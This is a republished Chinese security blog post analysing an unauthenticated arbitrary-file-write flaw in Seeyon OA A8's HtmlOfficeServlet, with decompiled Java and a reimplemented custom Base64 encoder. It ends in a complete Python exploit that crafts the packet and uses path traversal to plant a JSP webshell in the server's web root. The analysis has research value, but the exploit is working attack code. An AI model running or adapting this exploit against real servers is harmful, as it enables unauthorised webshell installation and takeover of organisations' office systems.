前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >致远OA A8 HtmlOfficeServlet前台GetShell 分析

致远OA A8 HtmlOfficeServlet前台GetShell 分析

作者头像
黑伞安全
发布2021-04-23 14:48:46
3.8K0
发布2021-04-23 14:48:46
举报
文章被收录于专栏:黑伞安全黑伞安全

全文共计3127个字,预计阅读时长10分钟

这是一个历史漏洞了,前台即可getshell。

下面开始漏洞分析

HtmlOfficeServlet

在web.xml下存在这么三个servlet,这三个servlet都是未授权的,其中我们重点关注下HtmlOfficeServlet

doGet方法一开始通过xml加载bean的形式,拿到实例化对象。

代码语言:javascript
复制
代码语言:javascript
复制
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        AppContext.initSystemEnvironmentContext(request, response);
        HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager");
        HtmlHandWriteManager htmlHandWriteManager = (HtmlHandWriteManager)AppContext.getBeanWithoutCache("htmlHandWriteManager");
        iMsgServer2000 msgObj = new iMsgServer2000();  
        try {
            handWriteManager.readVariant(request, msgObj); //对msgObj对象进行初始化配置
                    ...
            msgObj.SetMsgByName("CLIENTIP", Strings.getRemoteAddr(request)); // 获取CLIENTIP
            String option = msgObj.GetMsgByName("OPTION"); // 获取OPTION,之后通过OPTION来判断执行什么操作。
            if ("LOADFILE".equalsIgnoreCase(option)) {
                    ...
            } else if ("SAVEASIMG".equalsIgnoreCase(option)) { //重点注意这个SAVEASIMG的操作
                String fileName = msgObj.GetMsgByName("FILENAME");
                String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath();
                String tempPath = tempFolder + "/base/upload/taohongTemp";
                File folder = new File(tempPath);
                if (!folder.exists()) {
                    folder.mkdir();
                }
                msgObj.MsgFileSave(tempPath + "/" + fileName);
            }
            handWriteManager.sendPackage(response, msgObj);
        } catch (Exception var11) {
                    ...
        }
    }

这里我们先一步一步来看

保存文件

我们先来看看SAVEADIMG这个方法。可以看到首先从msgObj获取了文件名之后,直接拼接到了路径上,随后通过MsgFileSave方法来保存文件。

代码语言:javascript
复制
    public boolean MsgFileSave(String var1) {
        try {
            FileOutputStream var2 = new FileOutputStream(var1);
            var2.write(this.FMsgFile);
            var2.close();
            return true;
        } catch (Exception var3) {
            this.FError = this.FError + var3.toString();
            System.out.println(var3.toString());
            return false;
        }
    }

我们可以看到,这里将FMsgFile写入进了文件里,但是这个FMsgFile又是从何而来,如果能够控制这个FMsgFile的内容,那么就可以写Shell了

初始化msgObj

首先进入

代码语言:javascript
复制
代码语言:javascript
复制
    public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
        msgObj.ReadPackage(request);
        ....
    }

先来看看这个,msgObj是如何从request中读取内容的,继续跟进ReadPackage方法,接着一路跟进到StreamToMsg方法

代码语言:javascript
复制
private boolean StreamToMsg() {
        byte var2 = 64;
        boolean var3 = false;
        boolean var4 = false;
        boolean var5 = false;
        boolean var6 = false;
        String var7 = "";
        String var8 = "";
        this.FMd5Error = false;
        try {
            byte var14 = 0;
            String var1 = new String(this.FStream, var14, var2);
            this.FVersion = var1.substring(0, 15); //均为15位,有一位的间隔。
            int var11 = Integer.parseInt(var1.substring(16, 31).trim()); 
            int var12 = Integer.parseInt(var1.substring(32, 47).trim());
            int var13 = Integer.parseInt(var1.substring(48, 63).trim());
            this.FFileSize = var13;
            int var15 = var14 + var2; // 从64开始
            if (var11 > 0) { //如果TextSize > 0 根据Size读取流中的Text部分的参数
                this.FMsgText = new String(this.FStream, var15, var11);
            }
            var15 += var11;
            if (var12 > 0) { // 如果ErrorSize > 0 根据Size读取流中的Error部分的参数
                this.FError = new String(this.FStream, var15, var12);
            }
            var15 += var12;
            this.FMsgFile = new byte[var13];
            if (var13 > 0) {// 如果ErrorSize > 0 根据Size读取流中的File的内容
                for(int var9 = 0; var9 < var13; ++var9) {
                    this.FMsgFile[var9] = this.FStream[var9 + var15];
                }
                ...
            }
            return true;
        } catch (Exception var10) {
                ...
        }

通过上面的分析,我们看样很清晰的了解到,msgObj是如何解析我们发过去的包。很类似文件存储的性质,首先划分一块地区,用于描述各个区块的Size,以及一些元信息。这里地区一共分为4类。

  • 版本号(元信息)
  • TextSize
  • ErrorSize
  • FileSize 这三个Size用于之后对整个包进行一块一块的解析,并且获取到TextError,FileContent

逐个获取参数

那么理解了如何解析我们发过去的包之后,我们便可以接着初始化那一块往下看

代码语言:javascript
复制
public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
        msgObj.ReadPackage(request); //初始化
        this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID")); // long型的RECORDID,从Text中获取
        this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE"));// Date型的CREATEDATE,从Text中获取
        String _originalFileId = msgObj.GetMsgByName("originalFileId"); // String型的RECORDID,从Text中获取
        this.needClone = _originalFileId != null && !"".equals(_originalFileId.trim()); // 无所谓参数
        this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile")); // Bool型
        if (this.needClone) {
            String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate");
            this.originalFileId = Long.valueOf(_originalFileId);
            this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate);
        }
    }

这里按照要求满足各个参数的类型即可!不然readVariant这个流程出错,自然走不到之后的流程.

那么我们接着而看如何获取msgObj中的参数的。继续跟进GetMsgByName方法。

代码语言:javascript
复制
public String GetMsgByName(String var1) {
        boolean var2 = false;
        boolean var3 = false;
        String var4 = "";
        String var6 = var1.trim().concat("=");
        int var7 = this.FMsgText.indexOf(var6);
        if (var7 != -1) {
            int var8 = this.FMsgText.indexOf("\r\n", var7 + 1);
            var7 += var6.length();
            if (var8 != -1) {
                String var5 = this.FMsgText.substring(var7, var8);
                var4 = this.DecodeBase64(var5);
                return var4;
            } else {
                return var4;
            }
        } else {
            return var4;
        }
    }

这里的重点就是在以下两行

代码语言:javascript
复制
String var5 = this.FMsgText.substring(var7, var8);
var4 = this.DecodeBase64(var5);

首先对我们的FMsgText进行一个截取,获取到右值。然后对右值进行一个base64的解密。跟进去一看发现是他自己实现的一个base64,其实就是相当于换了一个符号表而已。所以这里有两种办法,一个是将java代码转成python,或者使用python中的转化表做一个转化就行了

代码语言:javascript
复制
table = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
def b64str(s: str):
    result = ""
    var5 = 0
    length = 0
    charList = [ord(i) for i in s]
    tempList = [0, 0, 0, 0]
    while length < len(charList):
        var5 = charList[length]
        length += 1
        tempList[0] = ((var5 & 252) >> 2)
        tempList[1] = ((var5 & 3) << 4)
        if length < len(charList):
            var5 = charList[length]
            length += 1
            tempList[1] += ((var5 & 240) >> 4)
            tempList[2] = ((var5 & 15) << 2)
            if length < len(charList):
                var5 = charList[length]
                length += 1
                tempList[2] = (tempList[2] + ((var5 & 192) >> 6))
                tempList[3] = (var5 & 63)
            else:
                tempList[3] = 64
        else:
            tempList[2] = 64
            tempList[3] = 64
        # print(tempList)
        for i in range(0, 4):
            result += table[tempList[i]]
    return result

使用转化表转化

代码语言:javascript
复制
代码语言:javascript
复制
def b64str(input: str):
    RAW = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    CUSTOM = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
    transformer = input.maketrans(RAW, CUSTOM)
    return base64.b64encode(input.encode()).decode().translate(transformer)
代码语言:javascript
复制

SAVEASIMG

整个readVariant完成之后,便从msgObj中获取OPTION然后根据OPTION来进行对应的操作

到这里整个分析就结束了.

exp

代码语言:javascript
复制
代码语言:javascript
复制
# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2021-04-13 11:09
FileName: zy_httpOfficeServletGetshell.py
"""
import base64
import os
import string
from datetime import datetime
import requests
def b64str(input: str):
    RAW = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    CUSTOM = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
    transformer = input.maketrans(RAW, CUSTOM)
    return base64.b64encode(input.encode()).decode().translate(transformer)
# def b64str(s: str):
#     result = ""
#     var5 = 0
#     length = 0
#     charList = [ord(i) for i in s]
#     tempList = [0, 0, 0, 0]
#     while length < len(charList):
#         var5 = charList[length]
#         length += 1
#         tempList[0] = ((var5 & 252) >> 2)
#         tempList[1] = ((var5 & 3) << 4)
#         if length < len(charList):
#             var5 = charList[length]
#             length += 1
#             tempList[1] += ((var5 & 240) >> 4)
#             tempList[2] = ((var5 & 15) << 2)
#             if length < len(charList):
#                 var5 = charList[length]
#                 length += 1
#                 tempList[2] = (tempList[2] + ((var5 & 192) >> 6))
#                 tempList[3] = (var5 & 63)
#             else:
#                 tempList[3] = 64
#         else:
#             tempList[2] = 64
#             tempList[3] = 64
#         # print(tempList)
#         for i in range(0, 4):
#             result += table[tempList[i]]
#     return result
def request():
    print("[+] 该网站可能存在漏洞")
    payload = GetPayload()
    f = open(os.getcwd() + "/src/mrkaixin.jsp", encoding='gbk').read()
    fLen = len(f)
    version = "1" * 15  # 15位
    fileSize = "%016d" % fLen  # 15位
    error = "%016d" % 0  # 16位
    textSize = "%016d" % len(payload)
    Prefix = f"{version}{textSize}{error}{fileSize}"
    # Prefix = "DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV"
    r = requests.get(url, data=Prefix + " " + payload + f, proxies=proxies)
    ShellPath = url.split("htmlofficeservlet")[0] + "/bx.jsp"
    print("[+] 已发送Payload 请查收Shell: " + ShellPath)
    # print(r.content)
def check():
    proxies = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080",
    }
    session = requests.Session()
    headers = {"Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    response = session.get(url, headers=headers, proxies=proxies)
    if response.text.find("DBSTEP") != -1:
        return True
    return False
def GetPayload():
    payload = "OPTION={}@".format(b64str('SAVEASIMG'))
    payload += "FILENAME={}@".format(b64str('../../../ApacheJetspeed/webapps/ROOT/bx.jsp'))  # 文件名可以改
    payload += "RECORDID={}@".format(b64str("11111111"))
    payload += "createDate={}@".format(b64str(datetime.now().strftime("%y-%m-%d %H:%M:%S")))
    payload += "originalFileId={}@".format(b64str("1111"))
    payload += "needClone={}@".format(b64str("test"))
    payload += "needReadFile={}@".format(b64str("true"))  # 别改
    payload += "originalCreateDate={}@".format(b64str("11111"))
    return payload.replace("@", "\r\n")
def main():
    result = request() if check() == True else None
if __name__ == '__main__':
    url = "http://192.168.14.132/seeyon/htmlofficeservlet"
    proxies = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080",
    }
    main()

PS: 求近两年HW java相关的oa、cms等源码,后续分析一波! 谢谢师傅

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HtmlOfficeServlet
  • 保存文件
  • 初始化msgObj
  • 逐个获取参数
  • SAVEASIMG
  • exp
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档